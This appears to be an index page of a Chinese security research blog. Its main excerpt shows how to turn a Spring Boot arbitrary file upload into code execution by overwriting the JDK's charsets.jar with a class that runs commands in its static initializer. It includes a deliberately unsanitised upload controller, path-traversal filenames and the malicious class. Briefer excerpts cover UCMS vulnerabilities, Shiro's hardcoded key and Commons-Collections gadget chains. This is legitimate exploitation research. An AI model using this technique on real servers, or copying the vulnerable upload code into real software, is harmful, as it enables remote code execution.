0%

UCMS v1.4.0-7 Information leakage

A problem was found in UCMS v1.4.0-7 In line 2 of ucms/chk.php

Vulnerability Type :

Information leakage

Vulnerability Version :

1.4.0-7

阅读全文 »

UCMS v.1.4.8 Information leakage

A problem was found in UCMS 1.4.8. In line 2 of ucms/chk.php

Vulnerability Type :

Information leakage

阅读全文 »

UCMS v1.5.0 Arbitrary file upload vulnerability

Vulnerability Type :

File upload

Vulnerability Version :

1.5.0

Recurring environment:

  • Windows 10
  • PHP 5.4.5
  • Apache 2.4.23

Vulnerability Description AND recurrence:

The upload bug is very simple

阅读全文 »

前言

java任意文件写:之前都是利用 linux crontab 计划任务文件、替换 so/dll 系统文件进行劫持等一些操作系统层面的东西来实现 RCE,实际环境下因为网络联通性、文件权限等各种条件限制,都不是特别好用,所以找一个 java 代码层面的利用方法就显得很有必要。

环境

直接springboot写一个文件上传

生成基础环境

https://start.spring.io/

pom.xml依赖如下,其他默认

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.1.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<!-- <exclusions>-->
<!-- <exclusion>-->
<!-- <groupId>org.springframework.boot</groupId>-->
<!-- <artifactId>spring-boot-starter-tomcat</artifactId>-->
<!-- </exclusion>-->
<!-- </exclusions>-->
</dependency>

<!-- <dependency>-->
<!-- <groupId>org.springframework.boot</groupId>-->
<!-- <artifactId>spring-boot-starter-jetty</artifactId>-->
<!-- </dependency>-->

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.76</version>
</dependency>

<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.48</version>
</dependency>



前端自己抄一下

uploadController

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.example.FatJarUploadFile;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

@Controller
public class UploadController {
@GetMapping("/uploadIndex")
public String uploadPage(){
return "upload";
}

@GetMapping("/uploadStatus")
public String uploadStatus() {
return "uploadStatus";
}

@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
redirectAttributes.addFlashAttribute("message", "请选择文件上传");
return "redirect:uploadStatus";
}

try {
byte[] bytes = file.getBytes();
Path path = Paths.get("d://public/" + file.getOriginalFilename());
Files.write(path, bytes);

redirectAttributes.addFlashAttribute("message", "上传成功!'" + file.getOriginalFilename() + "'");

} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "Server throw IOException");
e.printStackTrace();
}
return "redirect:/uploadStatus";
}

}

自行测试是否上传成功,
http://127.0.0.1:18081/uploadIndex
我这里写的是传到d://public/文件夹下。

根据LandGrey师傅的说法漏洞利用步骤如下

  1. 选择上传文件 charsets.jar

  2. 使用上传文件功能,上传时用 burpsuite 截住数据包,filename 修改为 …/…/usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar 或C:\Program Files\Java\jdk1.8.0_65\jre\lib\charsets.jar

  3. 上传成功后使用漏洞利用场景里的数据包触发漏洞(例如spring原生场景调用charset,或者fastjson调用Charset包等)

  4. 漏洞触发成功会在 /public/ 目录产生 charsets_test_[random-string].log 样式名字的文件

  5. 最后使用列目录功能查看漏洞利用是否成功

漏洞利用条件

  • 可以获得 jdk 安装的 home 目录位置

可参考附录常见的 jdk lib 默认目录位置,然后使用字典枚举尝试
jdk 自带文件 /jre/lib/ *.jar 没被 Opened 过

  • 以 charsets.jar 文件举例:程序代码中不使用 Charset.forName(“GBK”) 类似的调用,默认就不会 Opened charsets.jar 文件
    ⚠️ 值得注意的是,只能主动触发一次 Opened *.jar 文件,如果漏洞利用没有成功,则同名 jar 文件就不能再利用了

charsets.jar

写个加载runtime的java(判断一波系统,然后执行相关的代码,这里直接写的执行计算器),然后生成jar即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package sun.nio.cs.ext;

import java.util.UUID;


public class IBM33722 {
static {
fun();
}

public IBM33722(){
fun();
}

private static java.util.HashMap<String, String> fun(){
String[] command;
String random = UUID.randomUUID().toString().replace("-","").substring(1,9);
String osName = System.getProperty("os.name");
if (osName.startsWith("Mac OS")) {
command = new String[]{"/bin/bash", "-c", "open -a Calculator"};
} else if (osName.startsWith("Windows")) {
command = new String[]{"cmd.exe", "/c", "calc"};
} else {
if(new java.io.File("/bin/bash").exists()){
command = new String[]{"/bin/bash", "-c", "touch /tmp/charsets_test_" + random + ".log"};
}else{
command = new String[]{"/bin/sh", "-c", "touch /tmp/charsets_test_" + random + ".log"};
}
}
try{
java.lang.Runtime.getRuntime().exec(command);
}catch (Throwable e1){
e1.printStackTrace();
}
return null;
}


}

类装载与类初始化

类装载 (Class loading) 和 类初始化 (Class initialization)

类装载是由 jvm 的不同 ClassLoader,包括 Bootstrap Classloder、Extention ClassLoader、App ClassLoader 和用户自定义的 Classloder 完成的。类装载通常是一个 Class 在字节码中引用另一个 Class 时被动触发的,也有通过 Classloder loadClass 和 Class forName 等方式主动触发的。

类初始化 一定发生在类装载之后,当调用类中的静态属性或者静态方法时,会被动触发类的初始化;调用 new 关键词、newInstance 方法、Class.forName 等方法时,会主动触发类的初始化。

代码描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//loadclass 类装载
classLoader.loadClass(className);

//forname 类装载
Class.forName(className, false, classLoader);

//loadclass 类初始化
classLoader.loadClass(className).newInstance();

//forname 类初始化
Class.forName(className, true, classLoader);

//直接forname会执行类中static的内容
Class.forName(className); //相当于上一条代码
  • 类装载之后不一定会初始化,不会执行任何代码
  • 类初始化意味着类装载已经完成,会执行类中的特定代码。

总结:先把类加载进去,然后再用forName或者newInstance进行初始化,执行静态代码块。

流程

在 java 程序运行的命令行中使用 -XX:+TraceClassLoading,可以观察到像如下在控制台输出的类装载过程日志

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.util.Scanner;

public class ClassLoading {
private static Scanner scanner = new Scanner(System.in);

/**
* 提示用户输入一行文字(其实只按回车即可)并等待用户输入
*/
private static void promptAndWait() {
System.out.println("请按回车");
scanner.nextLine();
}

public static void main(String[] args) throws Exception {
promptAndWait();
// 第一次按回车后,可以看到 One 这个类被加载
Object o = new One();

promptAndWait();
// 第二次按回车后,可以看到 Two 这个类被加载
o = new Two();

promptAndWait();
// 第三次按回车后,可以看到 Three 这个类被加载
o = new Three();
}

}


class One {
}

class Two {
}

class Three {
}

1
2
3
javac -encoding UTF-8 com\coder\zer\ClassLoading.java

java -XX:+TraceClassLoading -cp . com.coder.zer.Classloading

这一装载过程会选择性地装载以下四个jar:

  • rt.jar
  • jfr.jar
  • jsse.jar
  • jce.jar

其中里面的 Opened 操作代表打开指定文件,通常表示第一次读取相关字节码到内存;Loaded 操作代表将读取的指定类的字节码进行装载。(如上代码所示,按下回车则Loaded一次指定类)

为什么要类初始化

因为类初始化时会执行 static 代码块、static 属性引用的方法等,还可能执行构造器中的代码。

控制程序在指定的写文件漏洞可控的文件范围内,主动触发初始化恶意的类,使任意写变为代码执行漏洞。

传到哪里

由于springboot会把所有资源打包到jar文件内,所以没办法写入文件到应用的 classpath 目录,但是我们可以写入到文件最底层的“系统的 classpath 目录”,即JDK HOME 目录下。

限制:只有替换 JDK HOME 目录下原有的 jar 才可行,而且还得寻找系统启动后没有进行过 Opened 操作的系统 jar 文件。(这点LandGrey师傅已经说过)

了解SPI机制

打包FatJar的依赖

1
2
3
4
5
6
7
8
9
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

寻找可控的主动类初始化

1.spring 原生场景

环境

直接github下载shiro 1.2.4的代码

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

前言

本质上还是rembemberme这个功能设置cookie的时候 AES 加密的key使用了硬编码

前言

commons-beanutils是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。

CommonsBeanUtils 这一条链子还是比较重要的,不论是 shiro 还是后续的 fastjson。

阅读全文 »

前言

cc5从yso中的代码看,修改了入口点
入口类是 BadAttributeValueExpException 的 readObject() 方法

1
2
3
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()

环境
CommonsCollections 3.1 - 3.2.1

阅读全文 »

前言

CC7 的链子也是和 CC5 类似,后半条链子也是 LazyMap.get() 的这条链子。

1
2
3
4
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals

环境
CommonsCollections 3.1 - 3.2.1

阅读全文 »